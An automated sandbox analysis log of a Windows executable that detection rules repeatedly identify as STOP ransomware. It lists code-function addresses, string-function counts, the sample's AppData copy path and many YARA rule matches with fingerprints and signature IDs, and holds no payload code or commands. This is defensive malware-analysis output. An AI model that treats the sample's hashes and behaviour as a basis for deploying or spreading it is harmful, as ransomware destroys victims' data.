Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_0224DBE0	7_2_0224DBE0
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_02247880	7_2_02247880
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_022618D0	7_2_022618D0
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_0224A916	7_2_0224A916
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_0226E9A3	7_2_0226E9A3
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_0226F9B0	7_2_0226F9B0
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_022459F7	7_2_022459F7
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_022489D0	7_2_022489D0
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_02248E60	7_2_02248E60
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_02274E9F	7_2_02274E9F
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_02282D1E	7_2_02282D1E
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_02245DE7	7_2_02245DE7
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 7_2_02245DF7	7_2_02245DF7
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_02287220	8_2_02287220
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_023022C0	8_2_023022C0
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_022CE37C	8_2_022CE37C
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_02287393	8_2_02287393
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_0228A026	8_2_0228A026
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_0229F030	8_2_0229F030
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_0228B000	8_2_0228B000
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_0228B0B0	8_2_0228B0B0
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_022870E0	8_2_022870E0
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_022830F0	8_2_022830F0
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_022900D0	8_2_022900D0
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_02289120	8_2_02289120
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_022CE141	8_2_022CE141
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_022AD1A4	8_2_022AD1A4
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_0228A699	8_2_0228A699
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_022CB69F	8_2_022CB69F
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_0228E6E0	8_2_0228E6E0
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_0228C760	8_2_0228C760
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_0228A79A	8_2_0228A79A
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_022AD7F1	8_2_022AD7F1
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_02283520	8_2_02283520
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_02287520	8_2_02287520
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_0228CA10	8_2_0228CA10
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_02287A80	8_2_02287A80
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_02290B00	8_2_02290B00
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_02282B60	8_2_02282B60
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_0228DBE0	8_2_0228DBE0
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_02287880	8_2_02287880
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_022A18D0	8_2_022A18D0
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_0228A916	8_2_0228A916
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_022AE9A3	8_2_022AE9A3
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_022AF9B0	8_2_022AF9B0
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_022859F7	8_2_022859F7
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_022889D0	8_2_022889D0
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_02288E60	8_2_02288E60
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_022B4E9F	8_2_022B4E9F
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_022C2D1E	8_2_022C2D1E
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_02285DE7	8_2_02285DE7
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: 8_2_02285DF7	8_2_02285DF7

Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: String function: 00428C81 appears 36 times
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: String function: 02260160 appears 49 times
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: String function: 02258EC0 appears 57 times
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: String function: 004547A0 appears 31 times
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: String function: 0042F7C0 appears 55 times
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: String function: 02270160 appears 49 times
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: String function: 02268EC0 appears 57 times
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: String function: 0044F23E appears 53 times
Source: C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: String function: 00428520 appears 67 times
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: String function: 022A8EC0 appears 57 times
Source: C:\Users\user\AppData\Local\9e48c72b-7ad2-4bab-8a98-6bbf389aea95\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe	Code function: String function: 022B0160 appears 49 times

Source: C:\Users\user\AppData\Local\Temp\RranN.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6104 -s 1536

Source: MyProg.exe.1.dr

Static PE information: Resource name: RT_VERSION type: MIPSEB-LE ECOFF executable not stripped - version 0.79

Source: A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22315a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22315a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 10.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 10.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 16.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 16.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22515a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 17.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 17.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 16.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22515a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 16.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22515a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 2.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 2.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 8.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22815a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 8.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22815a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 7.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 7.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22415a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 13.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 13.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 8.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22815a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 8.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22815a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 17.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 17.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 7.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22415a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 7.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22415a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22315a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22315a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 10.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 10.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22a15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.2.A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe.22a15a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
